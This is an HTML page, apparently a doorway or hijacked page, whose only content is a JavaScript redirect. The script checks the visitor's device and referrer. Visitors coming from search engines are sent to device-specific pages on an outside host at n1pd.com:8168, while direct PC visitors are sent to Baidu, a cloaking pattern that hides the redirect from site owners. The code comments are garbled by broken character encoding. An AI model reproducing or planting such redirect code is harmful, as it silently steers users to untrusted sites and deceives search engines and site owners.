<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<meta http-equiv="X-UA-Compatible" content="IE=8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
  <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
  <meta name="description" content="">
  <meta name="author" content="">
  <link rel="icon" href="#">
	<style>
		html, body {
			height: auto;
			width: 100%;
			margin: 0 auto;
		}

		iframe {
			height: 100%;
			width: 100%;
			position: absolute;
			border: none;
		}
	</style>

</head>
<script language="javascript" type="text/javascript" src="/tj.js"></script>
<body>
<script>var bForcepc = fGetQuery("dv") == "pc";
function fBrowserRedirect(){
    var sUserAgent = navigator.userAgent.toLowerCase();
	
    var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
    var bIsIphone = sUserAgent.match(/iphone/i) == "iphone";
    var bIsIos = sUserAgent.match(/ios/i) == "ios";
    var bIsmacos = sUserAgent.match(/mac os/i) == "mac os";

    var bIsAndroid = sUserAgent.match(/android/i) == "android";
    var bIsaz = sUserAgent.match(/Android/i) == "Android";
    var bIslinux = sUserAgent.match(/linux/i) == "linux"; 
    var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile"; 
  
    if(bIsIpad||bIsIphone||bIsIos||bIsmacos){ //�ж�ƻ������
        var sUrl = location.href;   
		var d=document.referrer;
        if(!bForcepc){ 
         if(d.indexOf("baidu")>0||d.indexOf("google")>0||d.indexOf("sogou")>0||d.indexOf("bing")>0||d.indexOf("live")>0||d.indexOf("soso")>0||d.indexOf("youdao")>0||d.indexOf("zhongsou")>0||d.indexOf("yahoo")>0||d.indexOf("114")>0||d.indexOf("360.cn")>0||d.indexOf("bing")>0||d.indexOf("search")>0)
         {window.location.href="http://www.n1pd.com:8168/www/cookie/ios.html" //�Ż���ת
          
        }else{
            window.location.href = "http://www.n1pd.com:8168/www/cookie/ios.html"  //ƻ������ת��ַ
              }
        } 
    }else if(bIsAndroid||bIsaz||bIslinux||bIsWM){ //�жϰ�׿����
        var sUrl = location.href;   
		var d=document.referrer;
        if(!bForcepc){ 
         if(d.indexOf("baidu")>0||d.indexOf("google")>0||d.indexOf("sogou")>0||d.indexOf("bing")>0||d.indexOf("live")>0||d.indexOf("soso")>0||d.indexOf("youdao")>0||d.indexOf("zhongsou")>0||d.indexOf("yahoo")>0||d.indexOf("114")>0||d.indexOf("360.cn")>0||d.indexOf("bing")>0||d.indexOf("search")>0)
         {window.location.href="http://www.n1pd.com:8168/www/cookie/az.html" //�Ż���ת
          
        }else{
            window.location.href = "http://www.n1pd.com:8168/www/cookie/az.html"  //��׿����ת��ַ
              }
        } 
    }else{ //�жϵ��Է���
	
	  if(!bForcepc){ 
		var d=document.referrer;
        if(d.indexOf("baidu")>0||d.indexOf("google")>0||d.indexOf("sogou")>0||d.indexOf("bing")>0||d.indexOf("live")>0||d.indexOf("soso")>0||d.indexOf("youdao")>0||d.indexOf("zhongsou")>0||d.indexOf("yahoo")>0||d.indexOf("114")>0||d.indexOf("360.cn")>0||d.indexOf("bing")>0||d.indexOf("search")>0)
        {window.location.href="http://www.n1pd.com:8168/www/cookie/pc.html"//�Ż���ת
          
        }else{
            window.location.href = "http://www.baidu.com/" //���Է�����ת��ַ
              }
        } 
	}
} 
function fGetQuery(name){//��ȡ����ֵ 
    var sUrl = window.location.search.substr(1); 
    var r = sUrl.match(new RegExp("(^|&)" + name + "=([^&]*)(&|$)")); 
    return (r == null ? null : unescape(r[2])); 
} 

fBrowserRedirect();</script>
</body>
</html>